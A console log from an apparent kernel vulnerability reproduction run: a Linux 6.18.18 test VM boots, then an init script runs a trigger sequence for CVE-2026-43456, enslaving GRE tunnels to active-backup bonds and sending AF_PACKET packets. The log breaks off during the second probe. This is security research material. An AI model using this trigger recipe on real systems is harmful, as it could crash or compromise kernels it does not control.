=== VULN ipgre+ip6gre run start 2026-07-03T09:21:45+00:00 === c[?7lSeaBIOS (version 1.17.0-debian-1.17.0-1ubuntu1) iPXE (https://ipxe.org) 00:03.0 CA00 PCI2.10 PnP PMM+BEFC8B80+BEF08B80 CA00 Press Ctrl-B to configure iPXE (PCI 00:03.0)... Booting from ROM..c[?7l[ 0.000000] Linux version 6.18.18 (vscode@70a156dd6cfb) (gcc (Ubuntu 15.2.0-16ubuntu1) 15.2.0, GNU ld (GNU Binutils for Ubuntu) 2.46) #1 SMP PREEMPT_DYNAMIC Fri Jul 3 09:09:05 UTC 2026 [ 0.000000] Command line: root=/dev/vda rootwait init=/init console=ttyS0,115200 panic=1 oops=panic loglevel=7 nokaslr rw [ 0.000000] BIOS-provided physical RAM map: [ 0.000000] BIOS-e820: [mem 0x0000000000000000-0x000000000009fbff] usable [ 0.000000] BIOS-e820: [mem 0x000000000009fc00-0x000000000009ffff] reserved [ 0.000000] BIOS-e820: [mem 0x00000000000f0000-0x00000000000fffff] reserved [ 0.000000] BIOS-e820: [mem 0x0000000000100000-0x00000000bffdcfff] usable [ 0.000000] BIOS-e820: [mem 0x00000000bffdd000-0x00000000bfffffff] reserved [ 0.000000] BIOS-e820: [mem 0x00000000fffc0000-0x00000000ffffffff] reserved [ 0.000000] BIOS-e820: [mem 0x0000000100000000-0x000000013fffffff] usable [ 0.000000] BIOS-e820: [mem 0x000000fd00000000-0x000000ffffffffff] reserved [ 0.000000] NX (Execute Disable) protection: active [ 0.000000] APIC: Static calls initialized [ 0.000000] SMBIOS 2.8 present. [ 0.000000] DMI: QEMU Ubuntu 26.04 PC (i440FX + PIIX, 1996), BIOS 1.17.0-debian-1.17.0-1ubuntu1 04/01/2014 [ 0.000000] DMI: Memory slots populated: 1/1 [ 0.000000] tsc: Fast TSC calibration using PIT [ 0.000000] tsc: Detected 3000.113 MHz processor [ 0.021917] last_pfn = 0x140000 max_arch_pfn = 0x400000000 [ 0.022524] MTRR map: 4 entries (3 fixed + 1 variable; max 19), built from 8 variable MTRRs [ 0.022759] x86/PAT: Configuration [0-7]: WB WC UC- UC WB WP UC- WT [ 0.023555] last_pfn = 0xbffdd max_arch_pfn = 0x400000000 [ 0.040274] found SMP MP-table at [mem 0x000f5450-0x000f545f] [ 0.053584] ACPI: Early table checksum verification disabled [ 0.054112] ACPI: RSDP 0x00000000000F5250 000014 (v00 BOCHS ) [ 0.054437] ACPI: RSDT 0x00000000BFFE2452 000034 (v01 BOCHS BXPC 00000001 BXPC 00000001) [ 0.055269] ACPI: FACP 0x00000000BFFE22EE 000074 (v01 BOCHS BXPC 00000001 BXPC 00000001) [ 0.056047] ACPI: DSDT 0x00000000BFFE0040 0022AE (v01 BOCHS BXPC 00000001 BXPC 00000001) [ 0.056210] ACPI: FACS 0x00000000BFFE0000 000040 [ 0.056302] ACPI: APIC 0x00000000BFFE2362 000090 (v03 BOCHS BXPC 00000001 BXPC 00000001) [ 0.056401] ACPI: HPET 0x00000000BFFE23F2 000038 (v01 BOCHS BXPC 00000001 BXPC 00000001) [ 0.056500] ACPI: WAET 0x00000000BFFE242A 000028 (v01 BOCHS BXPC 00000001 BXPC 00000001) [ 0.056670] ACPI: Reserving FACP table memory at [mem 0xbffe22ee-0xbffe2361] [ 0.056733] ACPI: Reserving DSDT table memory at [mem 0xbffe0040-0xbffe22ed] [ 0.056764] ACPI: Reserving FACS table memory at [mem 0xbffe0000-0xbffe003f] [ 0.056794] ACPI: Reserving APIC table memory at [mem 0xbffe2362-0xbffe23f1] [ 0.056823] ACPI: Reserving HPET table memory at [mem 0xbffe23f2-0xbffe2429] [ 0.056851] ACPI: Reserving WAET table memory at [mem 0xbffe242a-0xbffe2451] [ 0.062547] No NUMA configuration found [ 0.062594] Faking a node at [mem 0x0000000000000000-0x000000013fffffff] [ 0.063355] NODE_DATA(0) allocated [mem 0x13fff9900-0x13fffcfff] [ 0.065360] Zone ranges: [ 0.065440] DMA [mem 0x0000000000001000-0x0000000000ffffff] [ 0.065556] DMA32 [mem 0x0000000001000000-0x00000000ffffffff] [ 0.065609] Normal [mem 0x0000000100000000-0x000000013fffffff] [ 0.065671] Movable zone start for each node [ 0.065710] Early memory node ranges [ 0.065743] node 0: [mem 0x0000000000001000-0x000000000009efff] [ 0.065913] node 0: [mem 0x0000000000100000-0x00000000bffdcfff] [ 0.065967] node 0: [mem 0x0000000100000000-0x000000013fffffff] [ 0.066096] Initmem setup node 0 [mem 0x0000000000001000-0x000000013fffffff] [ 0.067367] On node 0, zone DMA: 1 pages in unavailable ranges [ 0.070564] On node 0, zone DMA: 97 pages in unavailable ranges [ 0.804329] On node 0, zone Normal: 35 pages in unavailable ranges [ 1.123573] KernelAddressSanitizer initialized (generic) [ 1.124203] ACPI: PM-Timer IO Port: 0x608 [ 1.124859] ACPI: LAPIC_NMI (acpi_id[0xff] dfl dfl lint[0x1]) [ 1.125474] IOAPIC[0]: apic_id 0, version 32, address 0xfec00000, GSI 0-23 [ 1.125718] ACPI: INT_SRC_OVR (bus 0 bus_irq 0 global_irq 2 dfl dfl) [ 1.126037] ACPI: INT_SRC_OVR (bus 0 bus_irq 5 global_irq 5 high level) [ 1.126107] ACPI: INT_SRC_OVR (bus 0 bus_irq 9 global_irq 9 high level) [ 1.126212] ACPI: INT_SRC_OVR (bus 0 bus_irq 10 global_irq 10 high level) [ 1.126249] ACPI: INT_SRC_OVR (bus 0 bus_irq 11 global_irq 11 high level) [ 1.126567] ACPI: Using ACPI (MADT) for SMP configuration information [ 1.126687] ACPI: HPET id: 0x8086a201 base: 0xfed00000 [ 1.127165] CPU topo: Max. logical packages: 1 [ 1.127196] CPU topo: Max. logical dies: 1 [ 1.127219] CPU topo: Max. dies per package: 1 [ 1.127308] CPU topo: Max. threads per core: 1 [ 1.127531] CPU topo: Num. cores per package: 4 [ 1.127569] CPU topo: Num. threads per package: 4 [ 1.127590] CPU topo: Allowing 4 present CPUs plus 0 hotplug CPUs [ 1.128722] PM: hibernation: Registered nosave memory: [mem 0x00000000-0x00000fff] [ 1.128806] PM: hibernation: Registered nosave memory: [mem 0x0009f000-0x000fffff] [ 1.128872] PM: hibernation: Registered nosave memory: [mem 0xbffdd000-0xffffffff] [ 1.129171] [mem 0xc0000000-0xfffbffff] available for PCI devices [ 1.129302] Booting paravirtualized kernel on bare hardware [ 1.129787] clocksource: refined-jiffies: mask: 0xffffffff max_cycles: 0xffffffff, max_idle_ns: 1910969940391419 ns [ 1.265257] setup_percpu: NR_CPUS:64 nr_cpumask_bits:4 nr_cpu_ids:4 nr_node_ids:1 [ 1.269529] percpu: Embedded 64 pages/cpu s222360 r8192 d31592 u524288 [ 1.273555] Kernel command line: root=/dev/vda rootwait init=/init console=ttyS0,115200 panic=1 oops=panic loglevel=7 nokaslr rw [ 1.276292] Unknown kernel command line parameters "nokaslr", will be passed to user space. [ 1.276686] printk: log buffer data + meta data: 262144 + 917504 = 1179648 bytes [ 1.279651] Dentry cache hash table entries: 524288 (order: 10, 4194304 bytes, linear) [ 1.281023] Inode-cache hash table entries: 262144 (order: 9, 2097152 bytes, linear) [ 1.285075] software IO TLB: area num 4. [ 1.395079] Fallback order for Node 0: 0 [ 1.395585] Built 1 zonelists, mobility grouping on. Total pages: 1048443 [ 1.395678] Policy zone: Normal [ 1.395929] mem auto-init: stack:all(zero), heap alloc:off, heap free:off [ 1.395987] stackdepot: allocating hash table via alloc_large_system_hash [ 1.396112] stackdepot hash table entries: 1048576 (order: 12, 16777216 bytes, linear) [ 1.404264] stackdepot: allocating space for 8192 stack pools via memblock [ 1.669646] SLUB: HWalign=64, Order=0-3, MinObjects=0, CPUs=4, Nodes=1 [ 1.695759] Dynamic Preempt: voluntary [ 1.707748] rcu: Preemptible hierarchical RCU implementation. [ 1.707796] rcu: RCU event tracing is enabled. [ 1.707828] rcu: RCU restricting CPUs from NR_CPUS=64 to nr_cpu_ids=4. [ 1.707956] Trampoline variant of Tasks RCU enabled. [ 1.707974] Tracing variant of Tasks RCU enabled. [ 1.708119] rcu: RCU calculated value of scheduler-enlistment delay is 100 jiffies. [ 1.708165] rcu: Adjusting geometry for rcu_fanout_leaf=16, nr_cpu_ids=4 [ 1.711082] RCU Tasks: Setting shift to 2 and lim to 1 rcu_task_cb_adjust=1 rcu_task_cpu_ids=4. [ 1.711193] RCU Tasks Trace: Setting shift to 2 and lim to 1 rcu_task_cb_adjust=1 rcu_task_cpu_ids=4. [ 2.182857] NR_IRQS: 4352, nr_irqs: 456, preallocated irqs: 16 [ 2.199018] rcu: srcu_init: Setting srcu_struct sizes based on contention. [ 2.208621] Console: colour VGA+ 80x25 [ 2.211212] printk: legacy console [ttyS0] enabled [ 2.236270] ACPI: Core revision 20250807 [ 2.248345] clocksource: hpet: mask: 0xffffffff max_cycles: 0xffffffff, max_idle_ns: 19112604467 ns [ 2.255527] APIC: Switch to symmetric I/O mode setup [ 2.265546] ..TIMER: vector=0x30 apic1=0 pin1=2 apic2=-1 pin2=-1 [ 2.271868] clocksource: tsc-early: mask: 0xffffffffffffffff max_cycles: 0x2b3eaffc8ad, max_idle_ns: 440795273936 ns [ 2.272827] Calibrating delay loop (skipped), value calculated using timer frequency.. 6000.22 BogoMIPS (lpj=3000113) [ 2.278097] Last level iTLB entries: 4KB 512, 2MB 255, 4MB 127 [ 2.278377] Last level dTLB entries: 4KB 512, 2MB 255, 4MB 127, 1GB 0 [ 2.278837] mitigations: Enabled attack vectors: user_kernel, user_user, SMT mitigations: auto [ 2.279948] Spectre V2 : Mitigation: Retpolines [ 2.280346] Spectre V1 : Mitigation: usercopy/swapgs barriers and __user pointer sanitization [ 2.280612] Spectre V2 : Spectre v2 / SpectreRSB: Filling RSB on context switch and VMEXIT [ 2.284169] x86/fpu: x87 FPU will use FXSAVE [ 2.763921] Freeing SMP alternatives memory: 52K [ 2.765087] pid_max: default: 32768 minimum: 301 [ 2.776106] LSM: initializing lsm=capability,selinux [ 2.781001] SELinux: Initializing. [ 2.791553] Mount-cache hash table entries: 8192 (order: 4, 65536 bytes, linear) [ 2.792021] Mountpoint-cache hash table entries: 8192 (order: 4, 65536 bytes, linear) [ 2.947482] smpboot: CPU0: AMD QEMU Virtual CPU version 2.5+ (family: 0xf, model: 0x6b, stepping: 0x1) [ 2.972976] Performance Events: PMU not available due to virtualization, using software events only. [ 2.974664] signal: max sigframe size: 1440 [ 2.978077] rcu: Hierarchical SRCU implementation. [ 2.978272] rcu: Max phase no-delay instances is 400. [ 2.982288] Timer migration: 1 hierarchy levels; 8 children per group; 1 crossnode level [ 3.007246] smp: Bringing up secondary CPUs ... [ 3.024217] smpboot: x86: Booting SMP configuration: [ 3.024561] .... node #0, CPUs: #1 #2 #3 [ 3.248027] smp: Brought up 1 node, 4 CPUs [ 3.248747] smpboot: Total of 4 processors activated (24014.74 BogoMIPS) [ 3.268438] Memory: 3434476K/4193772K available (28106K kernel code, 8962K rwdata, 11980K rodata, 5644K init, 2064K bss, 754396K reserved, 0K cma-reserved) [ 3.290653] devtmpfs: initialized [ 3.359641] clocksource: jiffies: mask: 0xffffffff max_cycles: 0xffffffff, max_idle_ns: 1911260446275000 ns [ 3.360759] posixtimers hash table entries: 2048 (order: 3, 32768 bytes, linear) [ 3.362098] futex hash table entries: 1024 (65536 bytes on 1 NUMA nodes, total 64 KiB, linear). [ 3.372392] PM: RTC time: 09:21:49, date: 2026-07-03 [ 3.386408] NET: Registered PF_NETLINK/PF_ROUTE protocol family [ 3.403189] audit: initializing netlink subsys (disabled) [ 3.407914] audit: type=2000 audit(1783070509.148:1): state=initialized audit_enabled=0 res=1 [ 3.422053] thermal_sys: Registered thermal governor 'step_wise' [ 3.423538] cpuidle: using governor menu [ 3.438693] PCI: Using configuration type 1 for base access [ 3.440046] mtrr: your CPUs had inconsistent fixed MTRR settings [ 3.440246] mtrr: your CPUs had inconsistent variable MTRR settings [ 3.440507] mtrr: your CPUs had inconsistent MTRRdefType settings [ 3.440940] mtrr: probably your BIOS does not setup all CPUs. [ 3.441537] mtrr: corrected configuration. [ 3.446419] kprobes: kprobe jump-optimization is enabled. All kprobes are optimized if possible. [ 3.457234] HugeTLB: registered 2.00 MiB page size, pre-allocated 0 pages [ 3.457567] HugeTLB: 28 KiB vmemmap can be freed for a 2.00 MiB page [ 3.474376] ACPI: Added _OSI(Module Device) [ 3.475527] ACPI: Added _OSI(Processor Device) [ 3.475831] ACPI: Added _OSI(Processor Aggregator Device) [ 4.055267] ACPI: 1 ACPI AML tables successfully acquired and loaded [ 4.151072] ACPI: Interpreter enabled [ 4.155056] ACPI: PM: (supports S0 S3 S4 S5) [ 4.155275] ACPI: Using IOAPIC for interrupt routing [ 4.157357] PCI: Using host bridge windows from ACPI; if necessary, use "pci=nocrs" and report a bug [ 4.157562] PCI: Using E820 reservations for host bridge windows [ 4.182025] ACPI: Enabled 2 GPEs in block 00 to 0F [ 5.016418] ACPI: PCI Root Bridge [PCI0] (domain 0000 [bus 00-ff]) [ 5.019324] acpi PNP0A03:00: _OSC: OS supports [ASPM ClockPM Segments MSI HPX-Type3] [ 5.019645] acpi PNP0A03:00: _OSC: not requesting OS control; OS requires [ExtendedConfig ASPM ClockPM MSI] [ 5.024132] acpi PNP0A03:00: fail to add MMCONFIG information, can't access extended configuration space under this bridge [ 5.036614] PCI host bridge to bus 0000:00 [ 5.039172] pci_bus 0000:00: root bus resource [io 0x0000-0x0cf7 window] [ 5.039621] pci_bus 0000:00: root bus resource [io 0x0d00-0xffff window] [ 5.040596] pci_bus 0000:00: root bus resource [mem 0x000a0000-0x000bffff window] [ 5.040964] pci_bus 0000:00: root bus resource [mem 0xc0000000-0xfebfffff window] [ 5.041587] pci_bus 0000:00: root bus resource [mem 0xc000000000-0xc07fffffff window] [ 5.042754] pci_bus 0000:00: root bus resource [bus 00-ff] [ 5.045111] pci 0000:00:00.0: [8086:1237] type 00 class 0x060000 conventional PCI endpoint [ 5.069798] pci 0000:00:01.0: [8086:7000] type 00 class 0x060100 conventional PCI endpoint [ 5.087599] pci 0000:00:01.1: [8086:7010] type 00 class 0x010180 conventional PCI endpoint [ 5.089899] pci 0000:00:01.1: BAR 4 [io 0xc0c0-0xc0cf] [ 5.090238] pci 0000:00:01.1: BAR 0 [io 0x01f0-0x01f7]: legacy IDE quirk [ 5.090622] pci 0000:00:01.1: BAR 1 [io 0x03f6]: legacy IDE quirk [ 5.090862] pci 0000:00:01.1: BAR 2 [io 0x0170-0x0177]: legacy IDE quirk [ 5.091064] pci 0000:00:01.1: BAR 3 [io 0x0376]: legacy IDE quirk [ 5.109146] pci 0000:00:01.3: [8086:7113] type 00 class 0x068000 conventional PCI endpoint [ 5.112012] pci 0000:00:01.3: quirk: [io 0x0600-0x063f] claimed by PIIX4 ACPI [ 5.112452] pci 0000:00:01.3: quirk: [io 0x0700-0x070f] claimed by PIIX4 SMB [ 5.129418] pci 0000:00:02.0: [1234:1111] type 00 class 0x030000 conventional PCI endpoint [ 5.130674] pci 0000:00:02.0: BAR 0 [mem 0xfd000000-0xfdffffff pref] [ 5.132587] pci 0000:00:02.0: BAR 2 [mem 0xfebb0000-0xfebb0fff] [ 5.132812] pci 0000:00:02.0: ROM [mem 0xfeba0000-0xfebaffff pref] [ 5.134671] pci 0000:00:02.0: Video device with shadowed ROM at [mem 0x000c0000-0x000dffff] [ 5.151710] pci 0000:00:03.0: [8086:100e] type 00 class 0x020000 conventional PCI endpoint [ 5.152927] pci 0000:00:03.0: BAR 0 [mem 0xfeb80000-0xfeb9ffff] [ 5.153184] pci 0000:00:03.0: BAR 1 [io 0xc080-0xc0bf] [ 5.153356] pci 0000:00:03.0: ROM [mem 0xfeb00000-0xfeb7ffff pref] [ 5.464261] pci 0000:00:04.0: [1af4:1001] type 00 class 0x010000 conventional PCI endpoint [ 5.465298] pci 0000:00:04.0: BAR 0 [io 0xc000-0xc07f] [ 5.467534] pci 0000:00:04.0: BAR 1 [mem 0xfebb1000-0xfebb1fff] [ 5.467614] pci 0000:00:04.0: BAR 4 [mem 0xc000000000-0xc000003fff 64bit pref] [ 5.841811] ACPI: PCI: Interrupt link LNKA configured for IRQ 10 [ 5.866919] ACPI: PCI: Interrupt link LNKB configured for IRQ 10 [ 5.891383] ACPI: PCI: Interrupt link LNKC configured for IRQ 11 [ 5.915213] ACPI: PCI: Interrupt link LNKD configured for IRQ 11 [ 5.924783] ACPI: PCI: Interrupt link LNKS configured for IRQ 9 [ 6.016341] iommu: Default domain type: Translated [ 6.016579] iommu: DMA domain TLB invalidation policy: lazy mode [ 6.033287] SCSI subsystem initialized [ 6.041086] ACPI: bus type USB registered [ 6.044271] usbcore: registered new interface driver usbfs [ 6.046239] usbcore: registered new interface driver hub [ 6.047275] usbcore: registered new device driver usb [ 6.050138] pps_core: LinuxPPS API ver. 1 registered [ 6.050138] pps_core: Software ver. 5.3.6 - Copyright 2005-2007 Rodolfo Giometti [ 6.051851] PTP clock support registered [ 6.061600] Advanced Linux Sound Architecture Driver Initialized. [ 6.089962] NetLabel: Initializing [ 6.090185] NetLabel: domain hash size = 128 [ 6.090531] NetLabel: protocols = UNLABELED CIPSOv4 CALIPSO [ 6.094042] NetLabel: unlabeled traffic allowed by default [ 6.103791] PCI: Using ACPI for IRQ routing [ 6.109482] pci 0000:00:02.0: vgaarb: setting as boot VGA device [ 6.109482] pci 0000:00:02.0: vgaarb: bridge control possible [ 6.109482] pci 0000:00:02.0: vgaarb: VGA device added: decodes=io+mem,owns=io+mem,locks=none [ 6.112561] vgaarb: loaded [ 6.116961] hpet: 3 channels of 0 reserved for per-cpu timers [ 6.117030] hpet0: at MMIO 0xfed00000, IRQs 2, 8, 0 [ 6.117633] hpet0: 3 comparators, 64-bit 100.000000 MHz counter [ 6.131548] clocksource: Switched to clocksource tsc-early [ 6.155317] VFS: Disk quotas dquot_6.6.0 [ 6.156842] VFS: Dquot-cache hash table entries: 512 (order 0, 4096 bytes) [ 6.185911] pnp: PnP ACPI init [ 6.264552] pnp: PnP ACPI: found 6 devices [ 6.480497] clocksource: acpi_pm: mask: 0xffffff max_cycles: 0xffffff, max_idle_ns: 2085701024 ns [ 6.483789] NET: Registered PF_INET protocol family [ 6.488024] IP idents hash table entries: 65536 (order: 7, 524288 bytes, linear) [ 6.522341] tcp_listen_portaddr_hash hash table entries: 2048 (order: 3, 32768 bytes, linear) [ 6.523666] Table-perturb hash table entries: 65536 (order: 6, 262144 bytes, linear) [ 6.524303] TCP established hash table entries: 32768 (order: 6, 262144 bytes, linear) [ 6.527269] TCP bind hash table entries: 32768 (order: 8, 1048576 bytes, linear) [ 6.530613] TCP: Hash tables configured (established 32768 bind 32768) [ 6.534590] UDP hash table entries: 2048 (order: 5, 131072 bytes, linear) [ 6.538530] UDP-Lite hash table entries: 2048 (order: 5, 131072 bytes, linear) [ 6.545165] NET: Registered PF_UNIX/PF_LOCAL protocol family [ 6.560786] RPC: Registered named UNIX socket transport module. [ 6.561271] RPC: Registered udp transport module. [ 6.561446] RPC: Registered tcp transport module. [ 6.561632] RPC: Registered tcp-with-tls transport module. [ 6.561921] RPC: Registered tcp NFSv4.1 backchannel transport module. [ 6.586774] pci_bus 0000:00: resource 4 [io 0x0000-0x0cf7 window] [ 6.587338] pci_bus 0000:00: resource 5 [io 0x0d00-0xffff window] [ 6.588625] pci_bus 0000:00: resource 6 [mem 0x000a0000-0x000bffff window] [ 6.588929] pci_bus 0000:00: resource 7 [mem 0xc0000000-0xfebfffff window] [ 6.589167] pci_bus 0000:00: resource 8 [mem 0xc000000000-0xc07fffffff window] [ 6.595141] pci 0000:00:01.0: PIIX3: Enabling Passive Release [ 6.595519] pci 0000:00:00.0: Limiting direct PCI/PCI transfers [ 6.596394] PCI: CLS 0 bytes, default 64 [ 6.597752] PCI-DMA: Using software bounce buffering for IO (SWIOTLB) [ 6.598005] software IO TLB: mapped [mem 0x00000000bbfdd000-0x00000000bffdd000] (64MB) [ 6.673151] Initialise system trusted keyrings [ 6.678484] workingset: timestamp_bits=56 max_order=20 bucket_order=0 [ 6.707606] NFS: Registering the id_resolver key type [ 6.708638] Key type id_resolver registered [ 6.708927] Key type id_legacy registered [ 6.713647] 9p: Installing v9fs 9p2000 file system support [ 6.993996] Key type asymmetric registered [ 6.994544] Asymmetric key parser 'x509' registered [ 6.997277] Block layer SCSI generic (bsg) driver version 0.4 loaded (major 251) [ 6.998908] io scheduler mq-deadline registered [ 6.999213] io scheduler kyber registered [ 7.015054] input: Power Button as /devices/LNXSYSTM:00/LNXPWRBN:00/input/input0 [ 7.026219] ACPI: button: Power Button [PWRF] [ 7.538354] ACPI: \_SB_.LNKD: Enabled at IRQ 11 [ 7.551487] Serial: 8250/16550 driver, 4 ports, IRQ sharing enabled [ 7.568992] 00:04: ttyS0 at I/O 0x3f8 (irq = 4, base_baud = 115200) is a 16550A [ 7.602969] tsc: Refined TSC clocksource calibration: 3000.108 MHz [ 7.603656] clocksource: tsc: mask: 0xffffffffffffffff max_cycles: 0x2b3eab6bb84, max_idle_ns: 440795272340 ns [ 7.604549] clocksource: Switched to clocksource tsc [ 7.623525] Non-volatile memory driver v1.3 [ 7.624300] Linux agpgart interface v0.103 [ 7.631526] ACPI: bus type drm_connector registered [ 7.878173] loop: module loaded [ 7.880781] virtio_blk virtio0: 4/0/0 default/read/poll queues [ 7.918512] virtio_blk virtio0: [vda] 408144 512-byte logical blocks (209 MB/199 MiB) [ 8.040067] scsi host0: ata_piix [ 8.056062] scsi host1: ata_piix [ 8.063148] ata1: PATA max MWDMA2 cmd 0x1f0 ctl 0x3f6 bmdma 0xc0c0 irq 14 lpm-pol 0 [ 8.063641] ata2: PATA max MWDMA2 cmd 0x170 ctl 0x376 bmdma 0xc0c8 irq 15 lpm-pol 0 [ 8.098097] e100: Intel(R) PRO/100 Network Driver [ 8.098438] e100: Copyright(c) 1999-2006 Intel Corporation [ 8.099889] e1000: Intel(R) PRO/1000 Network Driver [ 8.100145] e1000: Copyright (c) 1999-2006 Intel Corporation. [ 8.228343] ata2: found unknown device (class 0) [ 8.239278] ata2.00: ATAPI: QEMU DVD-ROM, 2.5+, max UDMA/100 [ 8.270637] scsi 1:0:0:0: CD-ROM QEMU QEMU DVD-ROM 2.5+ PQ: 0 ANSI: 5 [ 8.321502] sr 1:0:0:0: [sr0] scsi3-mmc drive: 4x/4x cd/rw xa/form2 tray [ 8.322815] cdrom: Uniform CD-ROM driver Revision: 3.20 [ 8.389510] sr 1:0:0:0: Attached scsi generic sg0 type 5 [ 8.629041] ACPI: \_SB_.LNKC: Enabled at IRQ 10 [ 8.938460] e1000 0000:00:03.0 eth0: (PCI:33MHz:32-bit) 52:54:00:12:34:56 [ 8.939530] e1000 0000:00:03.0 eth0: Intel(R) PRO/1000 Network Connection [ 8.942268] e1000e: Intel(R) PRO/1000 Network Driver [ 8.942483] e1000e: Copyright(c) 1999 - 2015 Intel Corporation. [ 8.944075] sky2: driver version 1.30 [ 8.962793] usbcore: registered new interface driver usblp [ 8.964316] usbcore: registered new interface driver usb-storage [ 8.967869] i8042: PNP: PS/2 Controller [PNP0303:KBD,PNP0f13:MOU] at 0x60,0x64 irq 1,12 [ 8.976034] serio: i8042 KBD port at 0x60,0x64 irq 1 [ 8.976841] serio: i8042 AUX port at 0x60,0x64 irq 12 [ 8.994926] input: AT Translated Set 2 keyboard as /devices/platform/i8042/serio0/input/input1 [ 8.995188] rtc_cmos 00:05: RTC can wake from S4 [ 9.017322] rtc_cmos 00:05: registered as rtc0 [ 9.021511] rtc_cmos 00:05: alarms up to one day, y3k, 242 bytes nvram, hpet irqs [ 9.033170] device-mapper: ioctl: 4.50.0-ioctl (2025-04-28) initialised: dm-devel@lists.linux.dev [ 9.034583] amd_pstate: the _CPC object is not present in SBIOS or ACPI disabled [ 9.037553] hid: raw HID events driver (C) Jiri Kosina [ 9.065262] usbcore: registered new interface driver usbhid [ 9.065567] usbhid: USB HID core driver [ 9.092477] Initializing XFRM netlink socket [ 9.095026] NET: Registered PF_INET6 protocol family [ 9.121376] Segment Routing with IPv6 [ 9.122746] In-situ OAM (IOAM) with IPv6 [ 9.125122] sit: IPv6, IPv4 and MPLS over IPv4 tunneling driver [ 9.141761] NET: Registered PF_PACKET protocol family [ 9.144420] 9pnet: Installing 9P2000 support [ 9.145789] Key type dns_resolver registered [ 9.167319] IPI shorthand broadcast: enabled [ 9.442782] input: ImExPS/2 Generic Explorer Mouse as /devices/platform/i8042/serio1/input/input3 [ 9.837276] sched_clock: Marking stable (9778056464, 58643623)->(9877205094, -40505007) [ 9.854326] registered taskstats version 1 [ 9.854561] Loading compiled-in X.509 certificates [ 10.250505] Demotion targets for Node 0: null [ 10.259560] PM: Magic number: 2:8:373 [ 10.260532] vc vcsa1: hash matches [ 10.261073] netconsole: network logging started [ 10.266995] cfg80211: Loading compiled-in X.509 certificates for regulatory database [ 10.284518] kworker/u16:0 (71) used greatest stack depth: 29312 bytes left [ 10.306570] Loaded X.509 cert 'sforshee: 00b28ddf47aef9cea7' [ 10.313478] Loaded X.509 cert 'wens: 61c038651aabdcf94bd0ac7ff06c7248db18c600' [ 10.318945] ALSA device list: [ 10.319338] No soundcards found. [ 10.319573] faux_driver regulatory: Direct firmware load for regulatory.db failed with error -2 [ 10.321910] cfg80211: failed to load regulatory.db [ 10.330421] check access for rdinit=/init failed: -2, ignoring [ 10.331173] md: Waiting for all devices to be available before autodetect [ 10.331360] md: If you don't use raid, use raid=noautodetect [ 10.331616] md: Autodetecting RAID arrays. [ 10.332022] md: autorun ... [ 10.332200] md: ... autorun DONE. [ 10.354560] EXT4-fs (vda): mounting ext2 file system using the ext4 subsystem [ 10.417779] EXT4-fs (vda): mounted filesystem 00000000-0000-0000-0000-000000000000 r/w without journal. Quota mode: none. [ 10.477080] ext2 filesystem being mounted at /root supports timestamps until 2038-01-19 (0x7fffffff) [ 10.480235] VFS: Mounted root (ext2 filesystem) on device 253:0. [ 10.502914] devtmpfs: mounted [ 10.608199] Freeing unused kernel image (initmem) memory: 5644K [ 10.609183] Write protecting the kernel read-only data: 40960k [ 10.616256] Freeing unused kernel image (text/rodata gap) memory: 564K [ 10.618551] Freeing unused kernel image (rodata/data gap) memory: 308K [ 11.191446] x86/mm: Checked W+X mappings: passed, no W+X pages found. [ 11.194350] Run /init as init process [init] === CVE-2026-43456 bonding header_ops type-confusion trigger === [init] cmd: uname -r 6.18.18 [ 11.744249] uname (78) used greatest stack depth: 26608 bytes left [ 11.757384] sh (77) used greatest stack depth: 26224 bytes left [init] cmd: cat /proc/version Linux version 6.18.18 (vscode@70a156dd6cfb) (gcc (Ubuntu 15.2.0-16ubuntu1) 15.2.0, GNU ld (GNU Binutils for Ubuntu) 2.46) #1 SMP PREEMPT_DYNAMIC Fri Jul 3 09:09:05 UTC 2026 [init] STEP: loading modules [init] cmd: /sbin/modprobe bonding 2>&1 || /sbin/insmod /root/mods/bonding.ko 2>&1 || true [ 12.429937] modprobe (82) used greatest stack depth: 24960 bytes left [init] cmd: /sbin/modprobe dummy 2>&1 || /sbin/insmod /root/mods/dummy.ko 2>&1 || true [init] cmd: /sbin/modprobe ip_gre 2>&1 || /sbin/insmod /root/mods/ip_gre.ko 2>&1 || true [ 12.694238] gre: GRE over IPv4 demultiplexer driver [ 12.720105] ip_gre: GRE over IPv4 tunneling driver [init] cmd: /sbin/modprobe ip6_gre 2>&1 || /sbin/insmod /root/mods/ip6_gre.ko 2>&1 || true [ 12.977582] ip6_gre: GRE over IPv6 tunneling driver [init] cmd: /sbin/modprobe gre 2>&1 || true [init] cmd: /sbin/modprobe ip_tunnel 2>&1 || true [init] STEP: dummy0 underlay (10.0.0.1/24 + fd00::1/64) [init] cmd: /sbin/ip link set lo up [init] cmd: /sbin/ip link add dummy0 type dummy RTNETLINK answers: File exists [init] cmd: /sbin/ip addr add 10.0.0.1/24 dev dummy0 [init] cmd: /sbin/ip addr add fd00::1/64 dev dummy0 [init] cmd: /sbin/ip link set dummy0 up [init] ==== PROBE A: ipgre (IPv4 GRE) : gre1 -> bond1 active-backup ==== [init] cmd: /sbin/ip link add gre1 type gre local 10.0.0.1 2>&1 || true [init] cmd: /sbin/ip link add bond1 type bond mode active-backup 2>&1 || true [init] cmd: /sbin/ip link set gre1 master bond1 2>&1 || true [ 14.215423] bond1: (slave gre1): The slave device specified does not support setting the MAC address [ 14.216024] bond1: (slave gre1): Setting fail_over_mac to active for active-backup mode [ 14.229525] bond1: (slave gre1): making interface the new active one [ 14.232311] bond1: (slave gre1): Enslaving as an active interface with an up link [init] cmd: /sbin/ip link set gre1 up 2>&1 || true [init] cmd: /sbin/ip link set bond1 up 2>&1 || true [ 14.450066] ip_gre: CVE-2026-43456 ipgre_header: dev=bond1 hlen=0 needed=20 headroom=160 [ 14.462021] ip_gre: CVE-2026-43456 ipgre_header: dev=bond1 hlen=0 needed=20 headroom=160 [init] cmd: /sbin/ip addr add fe80::1/64 dev bond1 2>&1 || true [ 14.556477] ip_gre: CVE-2026-43456 ipgre_header: dev=bond1 hlen=0 needed=20 headroom=160 [init] ---- PROBE A trigger AF_PACKET on bond1 ---- [ 14.758422] ip_gre: CVE-2026-43456 ipgre_header: dev=bond1 hlen=0 needed=20 headroom=160 [init] AF_PACKET sendto(bond1) rc=-1 (Invalid argument) [init] udp6 sendto ff02::1%bond1 rc=-1 (Cannot assign requested address) [init] ==== PROBE B: ip6gre (IPv6 GRE) : ip6gre1 -> bond7 active-backup ==== [init] cmd: /sbin/ip link add ip6gre1 type ip6gre local fd00::1 remote fd00::2 2>&1 || true [ 15.094232] ip_gre: CVE-2026-43456 ipgre_header: dev=bond1 hlen=0 needed=20 headroom=160 [init] cmd: /sbin/ip link add bond7 type bond mode active-backup 